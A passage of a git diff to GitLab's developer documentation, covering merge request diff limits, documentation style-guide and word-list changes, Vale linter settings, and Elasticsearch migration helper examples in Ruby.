`NoteDiffFile` (which is associated with the actual `DiffNote`). So instead -of hitting the repository every time we need the diff of the file, we: - -1. Check whether we have the `NoteDiffFile#diff` persisted and use it -1. Otherwise, if it's a current MR revision, use the persisted - `MergeRequestDiffFile#diff` -1. In the last scenario, go the repository and fetch the diff - -## Diff limits - -As explained above, we limit single diff files and the size of the whole diff. There are scenarios where we collapse the diff file, -and cases where the diff file is not presented at all, and the user is guided to the Blob view. - -### Diff collection limits - -Limits that act onto all diff files collection. Files number, lines number and files size are considered. - -```ruby -Gitlab::Git::DiffCollection.collection_limits[:safe_max_files] = Gitlab::Git::DiffCollection::DEFAULT_LIMITS[:max_files] = 100 -``` - -File diffs are collapsed (but are expandable) if 100 files have already been rendered. - -```ruby -Gitlab::Git::DiffCollection.collection_limits[:safe_max_lines] = Gitlab::Git::DiffCollection::DEFAULT_LIMITS[:max_lines] = 5000 -``` - -File diffs are collapsed (but be expandable) if 5000 lines have already been rendered. - -```ruby -Gitlab::Git::DiffCollection.collection_limits[:safe_max_bytes] = Gitlab::Git::DiffCollection.collection_limits[:safe_max_files] * 5.kilobytes = 500.kilobytes -``` - -File diffs are collapsed (but be expandable) if 500 kilobytes have already been rendered. - -```ruby -Gitlab::Git::DiffCollection.collection_limits[:max_files] = Commit::DIFF_HARD_LIMIT_FILES = 1000 -``` - -No more files are rendered at all if 1000 files have already been rendered. - -```ruby -Gitlab::Git::DiffCollection.collection_limits[:max_lines] = Commit::DIFF_HARD_LIMIT_LINES = 50000 -``` - -No more files are rendered at all if 50,000 lines have already been rendered. - -```ruby -Gitlab::Git::DiffCollection.collection_limits[:max_bytes] = Gitlab::Git::DiffCollection.collection_limits[:max_files] * 5.kilobytes = 5000.kilobytes -``` - -No more files are rendered at all if 5 megabytes have already been rendered. - -All collection limit parameters are sent and applied on Gitaly. That is, after the limit is surpassed, -Gitaly only returns the safe amount of data to be persisted on `merge_request_diff_files`. - -### Individual diff file limits - -Limits that act onto each diff file of a collection. Files number, lines number and files size are considered. - -#### Expandable patches (collapsed) - -Diff patches are collapsed when surpassing 10% of the value set in `ApplicationSettings#diff_max_patch_bytes`. -That is, it's equivalent to 10kb if the maximum allowed value is 100kb. -The diff is persisted and expandable if the patch size doesn't -surpass `ApplicationSettings#diff_max_patch_bytes`. - -Although this nomenclature (Collapsing) is also used on Gitaly, this limit is only used on GitLab (hardcoded - not sent to Gitaly). -Gitaly only returns `Diff.Collapsed` (RPC) when surpassing collection limits. - -#### Not expandable patches (too large) - -The patch not be rendered if it's larger than `ApplicationSettings#diff_max_patch_bytes`. -Users see a `Changes are too large to be shown.` message and a button to view only that file in that commit. - -```ruby -Commit::DIFF_SAFE_LINES = Gitlab::Git::DiffCollection::DEFAULT_LIMITS[:max_lines] = 5000 -``` - -File diff is suppressed (technically different from collapsed, but behaves the same, and is expandable) if it has more than 5000 lines. - -This limit is hardcoded and only applied on GitLab. - -## Viewers - -Diff Viewers, which can be found on `models/diff_viewer/*` are classes used to map metadata about each type of Diff File. It has information -whether it's a binary, which partial should be used to render it or which File extensions this class accounts for. - -`DiffViewer::Base` validates _blobs_ (old and new versions) content, extension and file type to check if it can be rendered. - -## Merge request diffs against the `HEAD` of the target branch - -Historically, merge request diffs have been calculated by `git diff target...source` which compares the -`HEAD` of the source branch with the merge base (or a common ancestor) of the target branch and the source's. -This solution works well until the target branch starts containing some of the -changes introduced by the source branch: Consider the following case, in which the source branch -is `feature_a` and the target is `main`: - -1. Checkout a new branch `feature_a` from `main` and remove `file_a` and `file_b` in it. -1. Add a commit that removes `file_a` to `main`. - -The merge request diff still contains the `file_a` removal while the actual diff compared to -`main`'s `HEAD` has only the `file_b` removal. The diff with such redundant -changes is harder to review. - -In order to display an up-to-date diff, in GitLab 12.9 we -[introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27008) merge request -diffs compared against `HEAD` of the target branch: the -target branch is artificially merged into the source branch, then the resulting -merge ref is compared to the source branch to calculate an accurate -diff. - -Until we complete the epics ["use merge refs for diffs"](https://gitlab.com/groups/gitlab-org/-/epics/854) -and ["merge conflicts in diffs"](https://gitlab.com/groups/gitlab-org/-/epics/4893), -both options `main (base)` and `main (HEAD)` are available to be displayed in merge requests: - -![Merge ref head options](img/merge_ref_head_options_v13_6.png) - -The `main (HEAD)` option is meant to replace `main (base)` in the future. - -In order to support comments for both options, diff note positions are stored for -both `main (base)` and `main (HEAD)` versions ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/198457) in 12.10). -The position for `main (base)` version is stored in `Note#position` and -`Note#original_position` columns, for `main (HEAD)` version `DiffNotePosition` -has been introduced. - -One of the key challenges to deal with when working on merge ref diffs are merge -conflicts. If the target and source branch contains a merge conflict, the branches -cannot be automatically merged. The - [recording on YouTube](https://www.youtube.com/watch?v=GFXIFA4ZuZw&feature=youtu.be&ab_channel=GitLabUnfiltered) -is a quick introduction to the problem and the motivation behind the [epic](https://gitlab.com/groups/gitlab-org/-/epics/854). - -In 13.5 a solution for both-modified merge -conflict has been -[introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/232484). However, -there are more classes of merge conflicts that are to be -[addressed](https://gitlab.com/groups/gitlab-org/-/epics/4893) in the future. + + + + diff --git a/doc/development/distributed_tracing.md b/doc/development/distributed_tracing.md index 9e62f019fbf..79d0ff84713 100644 --- a/doc/development/distributed_tracing.md +++ b/doc/development/distributed_tracing.md @@ -4,7 +4,7 @@ group: Respond info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Distributed Tracing - development guidelines **(FREE)** +# Distributed Tracing - development guidelines GitLab is instrumented for distributed tracing. Distributed Tracing in GitLab is currently considered **experimental**, as it has not yet been tested at scale on GitLab.com. diff --git a/doc/development/documentation/index.md b/doc/development/documentation/index.md index a9f2726ea93..8a5a993d913 100644 --- a/doc/development/documentation/index.md +++ b/doc/development/documentation/index.md @@ -241,7 +241,7 @@ with the following conventions: - It omits the `.md` extension. - It doesn't end with a forward slash (`/`). -The help text follows the [Pajamas guidelines](https://design.gitlab.com/usability/helping-users/#formatting-help-content). +The help text follows the [Pajamas guidelines](https://design.gitlab.com/usability/contextual-help#formatting-help-content). #### Linking to `/help` in HAML diff --git a/doc/development/documentation/styleguide/index.md b/doc/development/documentation/styleguide/index.md index 3e55b334992..921bb13721b 100644 --- a/doc/development/documentation/styleguide/index.md +++ b/doc/development/documentation/styleguide/index.md @@ -17,7 +17,7 @@ In addition to this page, the following resources can help you craft and contrib - [Doc contribution guidelines](../index.md) - [Recommended word list](word_list.md) - [Doc style and consistency testing](../testing.md) -- [Guidelines for UI error messages](https://design.gitlab.com/content/error-messages/) +- [Guidelines for UI error messages](https://design.gitlab.com/content/voice-and-tone#clear-error-messages) - [Documentation global navigation](../site_architecture/global_nav.md) - [GitLab Handbook style guidelines](https://about.gitlab.com/handbook/communication/#writing-style-guidelines) - [Microsoft Style Guide](https://learn.microsoft.com/en-us/style-guide/welcome/) @@ -523,10 +523,10 @@ When using code block style: ## Lists -- Use a period after every sentence, including those that complete an introductory phrase. - Do not use semicolons or commas. -- Majority rules. Use either full sentences or all fragments. Avoid a mix. -- Always start list items with a capital letter. +- Do not use a period if the phrase is not a full sentence. +- Use a period after every sentence. Do not use semicolons or commas. +- Majority rules. All items should have the same punctuation. +- Start list items with a capital letter. - Separate the introductory phrase from explanatory text with a colon (`:`). For example: ```markdown @@ -1217,7 +1217,7 @@ To embed a video: the video title and link in the line under `
`. 1. In YouTube, select **Share**, and then select **Embed**. 1. Copy the ` + leave a blank line here ``` @@ -1238,7 +1238,7 @@ This is how it renders on the GitLab documentation site: See the video: What is GitLab.
- +
> Notes: @@ -1249,6 +1249,7 @@ different mobile devices. > - The `
` is a fallback necessary for `/help`, because the GitLab Markdown processor doesn't support iframes. It's hidden on the documentation site, but is displayed by `/help`. +> - The `www.youtube-nocookie.com` domain enables the [Privacy Enhanced Mode](https://support.google.com/youtube/answer/171780?hl=en#zippy=%2Cturn-on-privacy-enhanced-mode) of the YouTube embedded player. This mode allows users with resticted cookie preferences to view embedded videos. ## Alert boxes @@ -1446,6 +1447,8 @@ For example: [configuration edits guide](#configuration-documentation-for-different-installation-methods)) - `15.1 and earlier`, `15.2 and later` +Until we implement automated testing for broken links to tabs ([Issue 1355](https://gitlab.com/gitlab-org/gitlab-docs/-/issues/1355)), do not link directly to a single tab, even though they do have unique URL parameters. + See [Pajamas](https://design.gitlab.com/components/tabs/#guidelines) for more details on tabs. diff --git a/doc/development/documentation/styleguide/word_list.md b/doc/development/documentation/styleguide/word_list.md index 333a5521536..fcebe3b3649 100644 --- a/doc/development/documentation/styleguide/word_list.md +++ b/doc/development/documentation/styleguide/word_list.md @@ -186,6 +186,10 @@ Instead, use **assign**. For example: - Assign the issue to an epic. - Assign a user to the issue. +## authenticated user + +Use **authenticated user** instead of other variations, like **signed in user** or **logged in user**. + ## below Try to avoid **below** when referring to an example or table in a documentation page. If required, use **following** instead. For example: @@ -309,6 +313,13 @@ Users can set the default branch by using a UI setting. For examples that use the default branch, use `main` instead of [`master`](#master). +## delete + +Use **delete** when an object is completely deleted. **Delete** is the opposite of **create**. + +When the object continues to exist, use [**remove**](#remove) instead. +For example, you can remove an issue from an epic, but the issue still exists. + ## Dependency Proxy Use title case for the GitLab Dependency Proxy. @@ -487,7 +498,7 @@ Use title case for **Geo**. ## GitLab -Do not make **GitLab** possessive (GitLab's). This guidance follows [GitLab Trademark Guidelines](https://about.gitlab.com/handbook/marketing/corporate-marketing/brand-activation/trademark-guidelines/). +Do not make **GitLab** possessive (GitLab's). This guidance follows [GitLab Trademark Guidelines](https://about.gitlab.com/handbook/marketing/brand-and-product-marketing/brand/brand-activation/trademark-guidelines/). ## GitLab.com @@ -691,6 +702,10 @@ Do not use **limitations**. Use **known issues** instead. Do not use **log in** or **log on**. Use [sign in](#sign-in) instead. If the user interface has **Log in**, you can use it. +## logged-in user, logged in user + +Use **authenticated user** instead of **logged-in user** or **logged in user**. + ## lower Do not use **lower** when talking about version numbers. @@ -937,6 +952,12 @@ we would talk to a colleague, and to avoid differentiation between `we` and `the Use **register** instead of **sign up** when talking about creating an account. +## remove + +Use **remove** when an object continues to exist. For example, you can remove an issue from an epic, but the issue still exists. + +When an object is completely deleted, use [**delete**](#delete) instead. + ## Reporter When writing about the Reporter role: @@ -1075,6 +1096,10 @@ You can use **single sign-on**. Use **register** instead of **sign up** when talking about creating an account. +## signed-in user, signed in user + +Use **authenticated user** instead of **signed-in user** or **signed in user**. + ## simply, simple Do not use **simply** or **simple**. If the user doesn't find the process to be simple, we lose their trust. ([Vale](../testing.md#vale) rule: [`Simplicity.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/Simplicity.yml)) @@ -1318,7 +1343,7 @@ in present tense, active voice. ## you, your, yours Use **you**, **your**, and **yours** instead of **the user** and **the user's**. -Documentation should be from the [point of view](https://design.gitlab.com/content/voice-tone/#point-of-view) of the reader. +Documentation should be from the [point of view](https://design.gitlab.com/content/voice-and-tone#point-of-view) of the reader. Use: diff --git a/doc/development/documentation/testing.md b/doc/development/documentation/testing.md index 8b8f281d7c1..58584b5168b 100644 --- a/doc/development/documentation/testing.md +++ b/doc/development/documentation/testing.md @@ -282,16 +282,16 @@ Vale returns three types of results: - **Error** - For branding guidelines, trademark guidelines, and anything that causes content on the docs site to render incorrectly. -- **Warning** - For Technical Writing team style preferences. -- **Suggestion** - For basic technical writing tenets and best practices. +- **Warning** - For general style guide rules, tenets, and best practices. +- **Suggestion** - For technical writing style preferences that may require refactoring of documentation or updates to an exceptions list. The result types have these attributes: -| Result type | Displayed in CI/CD job output | Causes CI/CD jobs to fail | Vale rule link | -|--------------|-------------------------------|---------------------------|----------------| -| `error` | **{check-circle}** Yes | **{check-circle}** Yes | [Error-level Vale rules](https://gitlab.com/search?utf8=✓&snippets=false&scope=&repository_ref=master&search=path%3Adoc%2F.vale%2Fgitlab+Error%3A&group_id=9970&project_id=278964) | -| `warning` | **{dotted-circle}** No | **{dotted-circle}** No | [Warning-level Vale rules](https://gitlab.com/search?utf8=✓&snippets=false&scope=&repository_ref=master&search=path%3Adoc%2F.vale%2Fgitlab+Warning%3A&group_id=9970&project_id=278964) | -| `suggestion` | **{dotted-circle}** No | **{dotted-circle}** No | [Suggestion-level Vale rules](https://gitlab.com/search?utf8=✓&snippets=false&scope=&repository_ref=master&search=path%3Adoc%2F.vale%2Fgitlab+Suggestion%3A&group_id=9970&project_id=278964) | +| Result type | Displays in CI/CD job output | Displays in MR diff | Causes CI/CD jobs to fail | Vale rule link | +|--------------|------------------------------|---------------------|---------------------------|----------------| +| `error` | **{check-circle}** Yes | **{check-circle}** Yes | **{check-circle}** Yes | [Error-level Vale rules](https://gitlab.com/search?utf8=✓&snippets=false&scope=&repository_ref=master&search=path%3Adoc%2F.vale%2Fgitlab+Error%3A&group_id=9970&project_id=278964) | +| `warning` | **{dotted-circle}** No | **{check-circle}** Yes | **{dotted-circle}** No | [Warning-level Vale rules](https://gitlab.com/search?utf8=✓&snippets=false&scope=&repository_ref=master&search=path%3Adoc%2F.vale%2Fgitlab+Warning%3A&group_id=9970&project_id=278964) | +| `suggestion` | **{dotted-circle}** No | **{dotted-circle}** No | **{dotted-circle}** No | [Suggestion-level Vale rules](https://gitlab.com/search?utf8=✓&snippets=false&scope=&repository_ref=master&search=path%3Adoc%2F.vale%2Fgitlab+Suggestion%3A&group_id=9970&project_id=278964) | #### Vale spelling test @@ -360,6 +360,10 @@ In general, follow these guidelines: If the rule is too subjective, it cannot be adequately enforced and creates unnecessary additional warnings. + - Whether it's appropriate to display in the merge request diff in the GitLab UI. + If the rule is difficult to implement directly in the merge request (for example, + it requires page refactoring), set it to suggestion-level so it displays in local editors only. + ### Install linters At a minimum, install [markdownlint](#markdownlint) and [Vale](#vale) to match the checks run in @@ -407,15 +411,13 @@ To configure markdownlint in your editor, install one of the following as approp - Sublime Text [`SublimeLinter-contrib-markdownlint` package](https://packagecontrol.io/packages/SublimeLinter-contrib-markdownlint). - Visual Studio Code [`DavidAnson.vscode-markdownlint` extension](https://marketplace.visualstudio.com/items?itemName=DavidAnson.vscode-markdownlint). -- Atom [`linter-node-markdownlint` package](https://atom.io/packages/linter-node-markdownlint). - Vim [ALE plugin](https://github.com/dense-analysis/ale). To configure Vale in your editor, install one of the following as appropriate: -- Sublime Text [`SublimeLinter-contrib-vale` package](https://packagecontrol.io/packages/SublimeLinter-contrib-vale). +- Sublime Text [`SublimeLinter-vale` package](https://packagecontrol.io/packages/SublimeLinter-vale). - Visual Studio Code [`errata-ai.vale-server` extension](https://marketplace.visualstudio.com/items?itemName=errata-ai.vale-server). You can configure the plugin to [display only a subset of alerts](#show-subset-of-vale-alerts). -- Atom [`atomic-vale` package](https://atom.io/packages/atomic-vale). - Vim [ALE plugin](https://github.com/dense-analysis/ale). - JetBrains IDEs - No plugin exists, but [this issue comment](https://github.com/errata-ai/vale-server/issues/39#issuecomment-751714451) diff --git a/doc/development/documentation/topic_types/concept.md b/doc/development/documentation/topic_types/concept.md index e01b06c2c07..66af8780b9b 100644 --- a/doc/development/documentation/topic_types/concept.md +++ b/doc/development/documentation/topic_types/concept.md @@ -10,8 +10,8 @@ A concept introduces a single feature or concept. A concept should answer the questions: -- What is this? -- Why would you use it? +- **What** is this? +- **Why** would you use it? Think of everything someone might want to know if they've never heard of this concept before. @@ -24,12 +24,15 @@ Concepts should be in this format: ```markdown # Title (a noun, like "Widgets") -A paragraph that explains what this thing is. +A paragraph or two that explains what this thing is and why you would use it. -Another paragraph that explains what this thing is. +If you start to describe another concept, stop yourself. +Each concept should be about **one concept only**. -Remember, if you start to describe about another concept, stop yourself. -Each concept should be about one concept only. +If you start to describe **how to use the thing**, stop yourself. +Task topics explain how to use something, not concept topics. + +Do not include links to related tasks. The navigation provides links to tasks. ``` ## Concept topic titles diff --git a/doc/development/documentation/topic_types/index.md b/doc/development/documentation/topic_types/index.md index 964b41303cb..cfc231c268a 100644 --- a/doc/development/documentation/topic_types/index.md +++ b/doc/development/documentation/topic_types/index.md @@ -28,7 +28,7 @@ If inline links are not sufficient, you can create a topic called **Related topi and include an unordered list of related topics. This topic should be above the Troubleshooting section. ```markdown -# Related topics +## Related topics - [Configure your pipeline](link-to-topic). - [Trigger a pipeline manually](link-to-topic). diff --git a/doc/development/documentation/workflow.md b/doc/development/documentation/workflow.md index 2effa21b266..3c73030aceb 100644 --- a/doc/development/documentation/workflow.md +++ b/doc/development/documentation/workflow.md @@ -21,7 +21,7 @@ If you are not a GitLab team member, or do not have the Developer role for the G 1. Select an [issue](https://about.gitlab.com/handbook/product/ux/technical-writing/#community-contribution-opportunities) you'd like to work on. - You don't need an issue to open a merge request. - - For a Hackathon, in the issue, in a comment, mention the person who opened the issue and ask for the issue to be assigned to you. + - For a Hackathon, mention `@docs-hackathon` in a comment and ask for the issue to be assigned to you. To be fair to other contributors, if you see someone has already asked to work on the issue, choose another issue. If you are looking for issues to work on and don't see any that suit you, you can always fix [Vale](testing.md#vale) issues. 1. Go to the [GitLab repository](https://gitlab.com/gitlab-org/gitlab). diff --git a/doc/development/ee_features.md b/doc/development/ee_features.md index 5e236c3e322..4eb5bedef1c 100644 --- a/doc/development/ee_features.md +++ b/doc/development/ee_features.md @@ -209,7 +209,10 @@ To test an EE class that doesn't exist in CE, create the spec file as you normal would in the `ee/spec` directory, but without the second `ee/` subdirectory. For example, a class `ee/app/models/vulnerability.rb` would have its tests in `ee/spec/models/vulnerability_spec.rb`. -By default, licensed features are disabled while specs are running. To effectively test your feature +By default, licensed features are disabled for specs in `specs/`. +Specs in the `ee/spec` directory have Starter license initialized by default. + +To effectively test your feature you must explicitly enable the feature using the `stub_licensed_features` helper, for example: ```ruby diff --git a/doc/development/elasticsearch.md b/doc/development/elasticsearch.md index 88a417b4745..961a47e005b 100644 --- a/doc/development/elasticsearch.md +++ b/doc/development/elasticsearch.md @@ -4,7 +4,7 @@ group: Global Search info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Elasticsearch knowledge **(PREMIUM SELF)** +# Elasticsearch knowledge This area is to maintain a compendium of useful information when working with Elasticsearch. @@ -191,8 +191,7 @@ If the current version is `v12p1`, and we need to create a new version for `v12p NOTE: This only supported for indices created with GitLab 13.0 or greater. -Migrations are stored in the [`ee/elastic/migrate/`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/ee/elastic/migrate) folder with `YYYYMMDDHHMMSS_migration_name.rb` -filename format, which is similar to Rails database migrations: +In the [`ee/elastic/migrate/`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/ee/elastic/migrate) folder, create a new file with the filename format `YYYYMMDDHHMMSS_migration_name.rb`. This format is the same for Rails database migrations. ```ruby # frozen_string_literal: true @@ -225,6 +224,86 @@ To update Elastic index mappings, apply the configuration to the respective file Migrations can be built with a retry limit and have the ability to be [failed and marked as halted](https://gitlab.com/gitlab-org/gitlab/-/blob/66e899b6637372a4faf61cfd2f254cbdd2fb9f6d/ee/lib/elastic/migration.rb#L40). Any data or index cleanup needed to support migration retries should be handled within the migration. +### Migration helpers + +The following migration helpers are available in `ee/app/workers/concerns/elastic/`: + +#### `Elastic::MigrationBackfillHelper` + +Backfills a specific field in an index. In most cases, the mapping for the field should already be added. + +Requires the `index_name` and `field_name` methods. + +```ruby +class MigrationName < Elastic::Migration + include Elastic::MigrationBackfillHelper + + private + + def index_name + Issue.__elasticsearch__.index_name + end + + def field_name + :schema_version + end +end +``` + +#### `Elastic::MigrationUpdateMappingsHelper` + +Updates a mapping in an index by calling `put_mapping` with the mapping specified. + +Requires the `index_name` and `new_mappings` methods. + +```ruby +class MigrationName < Elastic::Migration + include Elastic::MigrationUpdateMappingsHelper + + private + + def index_name + Issue.__elasticsearch__.index_name + end + + def new_mappings + { + schema_version: { + type: 'short' + } + } + end +end +``` + +#### `Elastic::MigrationObsolete` + +Marks a migration as obsolete when it's no longer required. + +```ruby +class MigrationName < Elastic::Migration + include Elastic::MigrationObsolete +end +``` + +#### `Elastic::MigrationHelper` + +Contains methods you can use when a migration doesn't fit the previous examples. + +```ruby +class MigrationName < Elastic::Migration + include Elastic::MigrationHelper + + def migrate + ... + end + + def completed? + ... + end +end +``` + ### Migration options supported by the `Elastic::MigrationWorker` [`Elastic::MigrationWorker`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/workers/elastic/migration_worker.rb) supports the following migration options: diff --git a/doc/development/experiment_guide/implementing_experiments.md b/doc/development/experiment_guide/implementing_experiments.md index e1407473731..5bce9f1fab5 100644 --- a/doc/development/experiment_guide/implementing_experiments.md +++ b/doc/development/experiment_guide/implementing_experiments.md @@ -138,7 +138,7 @@ communicate about experiments as something that's wider than just user behavior. NOTE: Using `actor:` uses cookies if the `current_user` is nil. If you don't need cookies though - meaning that the exposed functionality would only be visible to -signed in users - `{ user: current_user }` would be just as effective. +authenticated users - `{ user: current_user }` would be just as effective. WARNING: The caching of variant assignment is done by using this context, and so consider diff --git a/doc/development/fe_guide/content_editor.md b/doc/development/fe_guide/content_editor.md index 982033cf2ad..6d13f419430 100644 --- a/doc/development/fe_guide/content_editor.md +++ b/doc/development/fe_guide/content_editor.md @@ -4,7 +4,7 @@ group: Editor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Content Editor development guidelines **(FREE)** +# Content Editor development guidelines The Content Editor is a UI component that provides a WYSIWYG editing experience for [GitLab Flavored Markdown](../../user/markdown.md) in the GitLab application. @@ -64,7 +64,7 @@ Instead, you should obtain an instance of the `ContentEditor` class by listening ```html